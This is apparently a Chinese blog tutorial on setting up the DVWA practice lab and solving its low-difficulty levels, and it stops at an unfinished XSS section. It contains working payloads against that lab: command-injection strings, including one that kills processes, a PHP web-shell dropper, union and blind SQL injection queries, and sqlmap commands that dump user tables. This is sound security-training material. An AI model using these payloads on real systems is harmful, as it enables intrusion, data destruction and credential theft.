DVWA靶场安装及通关

安装DVWA靶场

1.下载DVWA(前提是有phpstudy)

提取码:4ymsicon-default.png?t=N7T8http://xn--https-bl8js66z7n7i//pan.baidu.com/s/1G0bEDSQce_8Cm3iT9kHniQ?pwd=4yms

2.解压后将文件重命名未DVWA,复制到该文件下。

 

 3.找到文件名为config.inc.php.dist改后缀成到config.inc.php,再打开文件,如下图进行更改后保存。

 

4.再浏览器输入http://localhost/DVWA 打开网站,点击下方创建数据库,创建完成后输入账号密码登录。

默认的账号用户名如下

admin/password

gordonb/abc123

1337/charley

pablo/letmein

smithy/password

5.得到如图界面即可 

 6.搭建靶场时遇到的问题:在创建数据库时发现无法创建,显示错误,本人解决办法是打开phpstudy

于此处修改了root密码为:123456。

(本人边学边写,如有问题感谢指出) 

靶场通关(难度:low)

第一关:Burt Force(爆破)

Sniper 单一的目标,适合知道用户名不知道密码

Battering ram 俩个单一的目标,比如密码或验证码,互相不影响

Pitchfork 俩个目标,适合成对的用户名或密码,每个用户名只试一个密码

Clusterbomb 俩个目标,适合每一个用户名都试一遍所有密码

1.先随机测试,发现错误提示不知道账号/答案那个正确

2.先对登录进行抓包

 

 可得账号密码均错误

2.抓包后发送到Intruder

在俩个处都添加字典后爆破

3. 可得到正确的用户名和密码

第二关:Command Injection(命令执行)

对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。

攻击者利用命令注入漏洞的常见方式之一是通过在用户输入中注入特殊字符或命令分隔符(如分号、管道符、与操作符),还可以注入简单病毒来进行攻击,从而欺骗应用程序将恶意命令附加到正常的系统命令中执行。

逻辑运算符“&”和“|”的意思:

&&:代表首先执行命令a在执行命令b,但是前提条件是命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。

&:代表首先执行命令a在执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰,在执行效率上来说“&&”更加高效。

||:代表首先执行a命令在执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。

| :代表首先执行a命令,在执行b命令,不管a命令成功与否,都会去执行b命令。

1.输入127.0.0.1 && net user来获取 系统中所有的用户。从而可以实施攻击。

2.输入”127.0.0.1 && systeminfo“ ,得到系统硬件信息等

还可以上传病毒

127.0.0.1 & taskkill /f /fi "pid ne 1"

第三关: CSRF(跨站请求伪造)

 跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种网络攻击方式,它利用用户已经在某个网站进行过认证的身份,通过伪造请求来执行未经用户授权的操作。攻击者通过欺骗用户,使其在不知情的情况下执行某些敏感操作,例如修改密码、发表言论、转账等。
CSRF攻击的核心在于攻击者能够构造恶意请求,并引导用户在受害者已经登录的情况下访问包含恶意请求的页面。一旦用户点击了这个页面上的触发请求的按钮或链接,浏览器会自动携带受害者的认证信息发送请求,从而实现攻击者预期的操作。


为了防范CSRF攻击,开发者可以采取以下措施:

同源策略(Same Origin Policy): 浏览器的同源策略限制了一个页面只能请求同一域下的资源,从而减少了CSRF攻击的可能性。攻击者通常难以伪造出同一域的请求。
Anti-CSRF Token: 在用户登录时生成一个唯一的令牌(CSRF Token),将其嵌入到每个表单或请求中。服务器在接收到请求时验证令牌的有效性,如果令牌不匹配,则拒绝该请求。这样即使攻击者伪造请求,也无法获取有效的CSRF Token。
Cookie设置: 在Cookie中使用SameSite属性,限制第三方站点对Cookie的访问。设置为Strict或Lax可以在一定程度上减弱CSRF攻击。
双重提交Cookie: 将CSRF Token不仅存储在Cookie中,还通过表单的隐藏字段等方式在请求中传递,以增加令牌的安全性。
检查Referer: 服务器可以检查请求的Referer头部,但这并不是绝对可靠的防御手段,因为Referer头部有时会被浏览器省略或伪造。

通过综合使用这些防御措施,开发者可以大大提高系统对CSRF攻击的抵抗能力。
 

poc:

 POC是“Proof of Concept”的缩写,指的是概念验证或概念证明。在计算机安全领域,POC通常指的是一个漏洞利用的实际示例,用来证明该漏洞确实存在,并且可以被利用。POC可以是一个简单的代码片段、一个演示页面、一个脚本或者一个程序,其目的是演示特定漏洞的影响或者危害性。
在安全研究中,研究人员通常会编写POC来展示一个新发现的漏洞,以便其他人能够理解漏洞的工作原理,并验证其在真实环境中的有效性。POC也经常用于向厂商报告漏洞,以便他们能够及时修复。
综上所述,POC是漏洞利用的实际示例,用于证明漏洞的存在和危害性。
 

 1.随便输入将更改的密码进行抓包,得到

 2.抓包后可以看到能进行构造的poc

3.进行如图所示选项

 

点击复制,将攻击url复制到一个 新界面中后打开。

 点击按钮即可完成攻击

4.直接放包后,用新密码即可完成登录。

第四关:File Inclusion(文件包含漏洞) 

               File Upload(文件上传漏洞)

             

我们先查看三个文件都分别是什么

file1:Hello admin
      Your IP address is: 127.0.0.1

file2"I needed a password eight characters long so I picked Snow White and the Seven         Dwarves." ~ Nick Helm
file3:Welcome back admin
   Your IP address is: 127.0.0.1
   Your user-agent address is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0)      Gecko/20100101 Firefox/122.0
    You came from: http://localhost/DVWA/vulnerabilities/fi/?page=include.php
    I'm hosted at: localhost

发现没有什么重要的东西,我们将url中的参数更改一下,比如我们查看一下他的/etc/passwd文件。

文件包含是在url通过GET传参的方式获取文件,我们用 / 查看一下上下级目录,发现可以直接获取服务器文件路径。输入?page=../../phpinfo.php 可以看到php的具体信息。

1.在C盘创建一个txt文件,命名为h.txt;成功输出。

成功输出h.txt文件内容 只有php文件会解析运行。其他的只会原封不动的输出出来。

利用漏洞

 1.新建 txt文件上传一句话木马,进入文件上传File Upload,进行木马文件上传。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>

 2.上传成功,并复制下路径,复制链接 ../../hackable/uploads/pp.php到文件包含,发现没有报错,文件解析成功。

3. 根据路径到dvwa的文件包括目录,发现生成了shell.php文件。

4. 5.打开蚁剑,添加链接,把地址带有木马shell.php的链接复制过来,密码就是我们木马post里面写的的密码pass,直接连接。

第五关:Insecure CAPTCHA(不安全的验证码)

1.查看源码

 当step==2的时候,他才会进行到第二部分,就是更改密码。使用bp抓包,修改step参数为2

 成功通过验证。

第六关:SQL Injection(SQL注入)

1.输入User ID显示对应的name,并且输入的ID值在URL栏中

2、猜测 可能通过ID值带入数据库中进行查询,判断是否存在注入

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1 and 1=2 &Submit=Submit#

 

 

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' &Submit=Submit#


 

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' -- qwe &Submit=Submit#

 

 

存在注入点,且单引号闭合

3、判断字段数,order by 5【使用二分法】

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 5 -- qwe &Submit=Submit#

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 3 -- qwe &Submit=Submit#

 

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 2 -- qwe &Submit=Submit#

 

 

字段数为2

4、联合注入,观测显示位【回显点】

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select 1,2 -- qwe &Submit=Submit#

 5、查看当前数据库的版本号,及当前数据库名

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),database() -- qwe &Submit=Submit#

 6、输出当前数据库下的所有表名

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe &Submit=Submit#

 7、查询users表下面的所有字段名

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- qwe &Submit=Submit#

8、查询users 表中的user、password字段数据

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select user,password from users limit 0,1 -- qwe &Submit=Submit#

 http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select user,password from users limit 3,1 -- qwe &Submit=Submit#

第七关: SQL Injection (Blind)

原理:在服务器没有错误回显的时候完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,总的来说就是在注入过程中,sql语句拼接执行后,数据不能回显到前端页面,需要一些方法和测试进行判断尝试

布尔盲注:
–布尔很明显Ture跟Flase,也就是说它只会根据你的注入信息返回Ture跟Flase,也就是没有之前的显错信息(没有回显点)
时间盲注:
–界面返回只用一种:Ture。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
   
    $id = $_GET[ 'id' ];

    
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); 

    // Get results
    $num = @mysqli_num_rows( $result ); 
    if( $num > 0 ) {
       
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
       
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

       
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

 源代码讲解

1.用户输入处理: 代码通过$_GET['id']获取用户输入的用户ID,并将其存储在变量$id中。
2.数据库查询: 代码构建了一个SQL查询语句,使用用户提供的ID从数据库中检索用户信息。查询语句被发送到数据库服务器执行。
3.查询结果处理: 代码通过mysqli_query()函数执行查询,并将结果存储在变量$result中。然后,通过mysqli_num_rows()函数获取结果集中的行数。
4.结果反馈:

如果查询结果中存在行数(即用户ID存在于数据库中),则向用户显示消息"User ID exists in the database."。
如果查询结果中不存在行数(即用户ID不存在于数据库中),则向用户显示消息"User ID is MISSING from the database."。并且将HTTP响应状态码设置为404 Not Found,告知客户端页面未找到。

数据库连接关闭: 最后,通过mysqli_close()函数关闭了与数据库的连接。

步骤

1.判断是否存在注入及注入的类型(基于布尔SQL盲注)

输入1asdf,返回User ID exists in the database,无报错证明是字符型的

 

 输入1',返回User ID is MISSING from the database,证明是单引号闭合

 

 输入  1' and 1=1 # ,输出 exists

 输入 1' and 1=2 # ,输出 MISSING,证明存在注入

2.猜数据库名

 利用length()函数猜出数据库名的长度,1'  and length(database())=4 #,不报错,数据库名的长度为4

然后用ascii()函数和substr()函数,采用二分法猜数据库的名字。

输入1' and ascii(substr(database(),1,1))>90 #,显示存在,说明数据库名的第一个字符的ascii值大于90;

 输入1' and ascii(substr(database(),1,1))<110 #,显示存在,说明数据库名的第一个字符的ascii值小于110;

 输入1' and ascii(substr(database(),1,1))=100 #,显示存在,ASCII的表去找对应的字母为d

 输入1' and ascii(substr(database(),2,1))>90 # 找第二个字母

重复以上步骤,得到库名为dvwa

 3.猜表名

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,输出exists 

所以一共有两个表,我们先猜第一个表的长度

输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING

使用二分法 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,输出 exists

直到——  1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,输出 exists,即第一个表名称字符长为9。

现在猜第一个表的第一个字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

直到—— 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即对应的字母为g

然后我们再去猜其他的8个字母,为u、e、s、t、b、o、o、k,该表名即为guestbook。

同理猜第二个表的名字,users

4.猜列名

 

就直接拿 users表为例了。

先猜表中的字段数目1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #   (中间步骤省略了) 数目为 8

猜user表各个名称,按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含键信息的字段,如:用户名、密码...

【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/...
密码:password/pass_word/pwd/pass/...

所以说我们的命令就可以是 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #,输出exists

 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #,输出exists

所以我们可以知道 users表中有 user和password。还可以试试别的

5.猜字段值

同样使用二分法来做,直接写最后一步了:

用户名的字段值:1' and length(substr((select user from users limit 0,1),1))=5 #,输出exists

——说明user字段中第1个字段值的字符长度=5。

密码的字段值:1' and length(substr((select password from users limit 0,1),1))=32 #,

——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)

然后再使用二分法猜解user字段的值:(用户名)

1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一个字符)

1' and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二个字符)                   

……

猜解password字段的值:(密码)

1' and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一个字符)

……

6. 直接sqlmap爆库

手工盲注的时间耗费太大,我们可以直接使用sqlmap进行爆库

通过增加--technique参数指定注入技术,B表示布尔盲注

下面的命令可以得到系统中所有数据库

python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --technique B -dbs

 命令行输入以下命令,得到当前数据库

python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --current-db

 命令行输入以下命令,得到数据库dvwa的所有表

python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --columns -D dvwa -T users

  命令行输入以下命令,得到数据库dvwa表users的所有列

python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --columns -D dvwa -T users

  命令行输入以下命令,得到user和password字段的值

python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --dump -D dvwa -T users -C "user,password"

第八关: Weak Session IDs(弱回会话IDs)

 Weak Session IDs

简介:

用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Sesion去访问。

sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问限,无需录直接进入特定用户界面,进而进行其他操作。

用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。

服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使

用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,

之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

会话标识符是用于跟踪用户会话状态的一种机制,通常用于存储在用户访问网站时创建的 cookie 中。
以下是关于弱会话标识符的一些常见问题和建议:

预测性或猜测性会话标识符: 如果会话标识符是基于易于猜测的模式生成的,或者是顺序递增的数字,那么攻击者可能会轻松地预测下一个有效的会话标识符,从而获取未经授权的访问权限。
会话标识符的长度: 会话标识符的长度应该足够长,以增加猜测攻击的难度。较短的会话标识符更容易被猜测到。
会话标识符的复杂性: 会话标识符应该包含足够的随机性和复杂性,以防止攻击者利用弱算法或简单模式进行破解。
安全传输和存储: 会话标识符应该通过安全的方式进行传输和存储,例如使用 HTTPS 协议传输,以及将会话标识符存储在安全的 cookie 属性中(例如 HttpOnly 和 Secure 属性)。
会话过期和重新验证: 确保会话在一段合理的时间后过期,并要求用户在一段时间后重新验证身份,以防止会话劫持和会话固定攻击。
会话管理: 实施良好的会话管理策略,包括限制同一用户同时活跃的会话数量,监视异常会话活动并及时采取措施等。
随机化和混淆: 如果可能的话,随机化会话标识符的生成方式,并在生成时引入一些混淆因素,以增加攻击者的难度。

 low级别未设置过滤,直接用burp抓包,可以清楚的看到dvwaSesion的cookie,每重放一次,dvwaSesion增加一

1.首先抓包,复制该段

 

 2.

第九关:  DOM Based Cross Site Scripting (XSS)(编辑中...)

  • 11
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

为什么名字不能重复呢?

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值